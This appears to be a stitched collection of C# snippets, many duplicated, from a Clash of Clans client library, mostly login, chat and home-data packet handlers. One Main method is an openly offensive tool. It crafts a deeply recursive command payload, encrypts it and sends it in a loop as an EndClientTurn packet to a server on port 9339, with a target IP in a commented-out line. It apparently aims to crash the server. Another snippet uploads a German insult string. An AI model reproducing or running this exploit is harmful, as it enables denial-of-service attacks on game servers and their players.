public static void RegisterInGamePacketHandler(CoCClient client) { client.RegisterDefaultPacketHandler(new AllianceInfoResponsePacket(), HandleAllianceInfoResponsePacket); client.RegisterDefaultPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServerPacket); client.RegisterDefaultPacketHandler(new OwnHomeDataPacket(), HandleOwnHomeDataPacket); client.RegisterDefaultPacketHandler(new ServerErrorPacket(), HandleServerErrorPacket); }
public static void HandleLoginSuccessPacket(CoCClient client, IPacket packet) { var lsPacket = packet as LoginSuccessPacket; Console.WriteLine("Successfully logged in!"); Console.Write("Name: "); var name = Console.ReadLine(); client.QueuePacket(new ChangeAvatarNamePacket() { NewName = name }); }
public static void HandleLoginSuccessPacket(CoCClient client, IPacket packet) { var lsPacket = packet as LoginSuccessPacket; Console.WriteLine("Successfully logged in!"); Console.Write("Name: "); var name = Console.ReadLine(); client.QueuePacket(new ChangeAvatarNamePacket() { NewName = name }); }
static void Main(string[] args) { var txt = "Hallo Domi! du bist hääääääässlich"; var stream = GenerateStreamFromString(txt); var client = new CoCClient(); try { client.Upload(stream).Wait(); } catch (Exception e) { Console.WriteLine(e.Message); } Console.ReadLine(); }
public static void HandleLoginFailedPacket(CoCClient client, IPacket packet) { var lfPacket = packet as LoginFailedPacket; Console.WriteLine("Failed to login, reason: {0}", lfPacket.FailureReason); switch (lfPacket.FailureReason) { case LoginFailedPacket.LoginFailureReason.OutdatedContent: if (lfPacket.Fingerprint != null) { var fingerprintJson = lfPacket.Fingerprint.ToJson(); File.WriteAllText("fingerprint.json", fingerprintJson); Console.WriteLine("Server expected hash: {0}", lfPacket.Fingerprint.Hash); } break; } }
public static void HandleLoginFailedPacket(CoCClient client, IPacket packet) { var lfPacket = packet as LoginFailedPacket; Console.WriteLine("Failed to login, reason: {0}", lfPacket.FailureReason); switch (lfPacket.FailureReason) { case LoginFailedPacket.LoginFailureReason.OutdatedContent: if (lfPacket.Fingerprint != null) { var fingerprintJson = lfPacket.Fingerprint.ToJson(); File.WriteAllText("fingerprint.json", fingerprintJson); Console.WriteLine("Server expected hash: {0}", lfPacket.Fingerprint.Hash); } break; } }
public static void HandleOwnHomeDataPacket(CoCClient client, IPacket packet) { var ohdPacket = packet as OwnHomeDataPacket; client.Home = ohdPacket.Home; client.Avatar.Username = ohdPacket.Avatar.Username; if (ohdPacket.Avatar.Clan != null) Console.Title = string.Format("[{0}] - {1}", ohdPacket.Avatar.Clan.Name, ohdPacket.Avatar.Username); else Console.Title = string.Format("{0}", ohdPacket.Avatar.Username); Console.WriteLine("Village Info: "); Console.WriteLine("\tBuildings count: {0}", ohdPacket.Home.Buildings.Count); Console.WriteLine("\tDecorations count: {0}", ohdPacket.Home.Decorations.Count); Console.WriteLine("\tObstacles count: {0}", ohdPacket.Home.Obstacles.Count); Console.WriteLine("\tTraps count: {0}", ohdPacket.Home.Traps.Count); Console.WriteLine(); }
public static void HandleOwnHomeDataPacket(CoCClient client, IPacket packet) { var ohdPacket = packet as OwnHomeDataPacket; client.Home = ohdPacket.Home; client.Avatar.Username = ohdPacket.Avatar.Username; if (ohdPacket.Avatar.Clan != null) { Console.Title = string.Format("[{0}] - {1}", ohdPacket.Avatar.Clan.Name, ohdPacket.Avatar.Username); } else { Console.Title = string.Format("{0}", ohdPacket.Avatar.Username); } Console.WriteLine("Village Info: "); Console.WriteLine("\tBuildings count: {0}", ohdPacket.Home.Buildings.Count); Console.WriteLine("\tDecorations count: {0}", ohdPacket.Home.Decorations.Count); Console.WriteLine("\tObstacles count: {0}", ohdPacket.Home.Obstacles.Count); Console.WriteLine("\tTraps count: {0}", ohdPacket.Home.Traps.Count); Console.WriteLine(); }
static void Main(string[] args) { var client = new CoCClient(); foreach (var path in args) { try { var bytes = File.ReadAllBytes(path); Console.WriteLine($"Working on {path}", Color.Yellow); client.Upload(new MemoryStream(bytes)).Wait(); Console.WriteLine($"Completed upload of {path}", Color.Yellow); } catch (Exception e) { Console.WriteLine(e); } Console.WriteLine($"Starting clean up", Color.Yellow); Thread.Sleep(6000); Console.WriteLine($"All operations have been completed successfully", Color.Yellow); } }
public static void HandleUpdateKeyPacket(CoCClient client, IPacket packet) { Console.WriteLine("Updated ciphers with new server key."); }
public static void HandleLoginSuccessPacket(CoCClient client, IPacket packet) { var lsPacket = packet as LoginSuccessPacket; Console.WriteLine("Successfully logged in!\r\n"); }
public static void Main(string[] args) { //args = new string[] //{ // "-s", "1000", "-m", "f6d70976c986a10f9c5984b146cd6b6a4d3c61e2", "89.36.213.145" //}; Parser = new CliParser(); Client = new CoCClient(); var ip = Parser.Parse(args); Console.WriteLine("[*] crafting recursive data with {0} depth recursion...", Parser.Size); var recursiveData = (byte[])null; using (var writer = new PacketWriter(new MemoryStream())) { RecursiveWrite(writer, Parser.Size); recursiveData = ((MemoryStream)writer.BaseStream).ToArray(); } Console.WriteLine("[*] done crafting recursive data of {0} bytes long\n", recursiveData.Length); Console.WriteLine("[*] connecting to {0} with masterhash {1}...", ip, Parser.MasterHash); Client.MasterHash = Parser.MasterHash; Client.Connect(new IPEndPoint(IPAddress.Parse(ip), 9339)); while (true) { if (Client.LoggedIn) { Console.ReadKey(true); Console.WriteLine("[*] crafting message..."); var body = new byte[recursiveData.Length + (4 + 4 + 4)]; // sizeof(subtick) + sizeof(checksum) + sizeof(commandcount). using (var writer = new PacketWriter(new MemoryStream())) { // Write EndClientTurn Body. writer.WriteInt32(1337); // Subtick writer.WriteInt32(1337); // Checksum writer.WriteInt32(1); // CommandCount, only command which it self embeds the other commands. writer.Write(recursiveData, 0, recursiveData.Length); body = ((MemoryStream)writer.BaseStream).ToArray(); } Console.WriteLine("[*] \tencrypting message body {0} bytes long", body.Length); // Encrypt the message so that it can be decrypted properly. Client.NetworkManager.CoCCrypto.Encrypt(body); var packet = new byte[body.Length + 7]; // sizeof(header) using (var writer = new PacketWriter(new MemoryStream())) { // Write header. writer.WriteUInt16(14102); // EndClientTurn Message ID writer.WriteInt24(body.Length); // Message Length writer.WriteUInt16(0); // Message Version(Unknown) writer.Write(body, 0, body.Length); packet = ((MemoryStream)writer.BaseStream).ToArray(); } Console.WriteLine("[*] \tdone crafting message", body); Client.Connection.Send(packet); Console.WriteLine("[+] \tsent crafted packet of {0} bytes long", packet.Length); } Thread.Sleep(100); } }
public static void HandleChatMessageServerPacket(CoCClient client, IPacket packet) { var cmsPacket = packet as ChatMessageServerPacket; client.OnChatMessage(new ChatMessageEventArgs(cmsPacket)); }
public static void RegisterInGamePacketHandler(CoCClient client) { client.RegisterPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServerPacket); client.RegisterPacketHandler(new OwnHomeDataPacket(), HandleOwnHomeDataPacket); client.RegisterPacketHandler(new ServerErrorPacket(), HandleServerErrorPacket); }
public static void HandleServerErrorPacket(CoCClient client, IPacket packet) { var errPacket = packet as ServerErrorPacket; Console.WriteLine("Server Error: {0}", errPacket.ErrorMessage); }
public static void HandleChatMessageServer(CoCClient client, IPacket packet) { var cmsPacket = packet as ChatMessageServerPacket; client.OnChatMessage(new ChatMessageEventArgs(cmsPacket)); }
public static void RegisterLoginPacketHandlers(CoCClient client) { client.RegisterDefaultPacketHandler(new LoginFailedPacket(), HandleLoginFailedPacket); client.RegisterDefaultPacketHandler(new LoginSuccessPacket(), HandleLoginSuccessPacket); client.RegisterDefaultPacketHandler(new UpdateKeyPacket(), HandleUpdateKeyPacket); }
public static void HandleServerErrorPacket(CoCClient client, IPacket packet) { var errPacket = packet as ServerErrorPacket; Console.WriteLine("Server Error: {0}", errPacket.ErrorMessage); }
public static void RegisterInGamePacketHandler(CoCClient client) { client.RegisterPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServer); }
public static void RegisterInGamePacketHandler(CoCClient client) { client.RegisterPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServerPacket); client.RegisterPacketHandler(new OwnHomeDataPacket(), HandleOwnHomeDataPacket); client.RegisterPacketHandler(new ServerErrorPacket(), HandleServerErrorPacket); }
public static void RegisterInGamePacketHandler(CoCClient client) { client.RegisterPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServer); }
public static void RegisterLoginPacketHandlers(CoCClient client) { client.RegisterPacketHandler(new LoginFailedPacket(), HandleLoginFailedPacket); client.RegisterPacketHandler(new LoginSuccessPacket(), HandleLoginSuccessPacket); client.RegisterPacketHandler(new UpdateKeyPacket(), HandleUpdateKeyPacket); }
public static void HandleUpdateKeyPacket(CoCClient client, IPacket packet) { Console.WriteLine("Updated ciphers with new server key."); }
public static void HandleLoginSuccessPacket(CoCClient client, IPacket packet) { var lsPacket = packet as LoginSuccessPacket; Console.WriteLine("Successfully logged in!\r\n"); }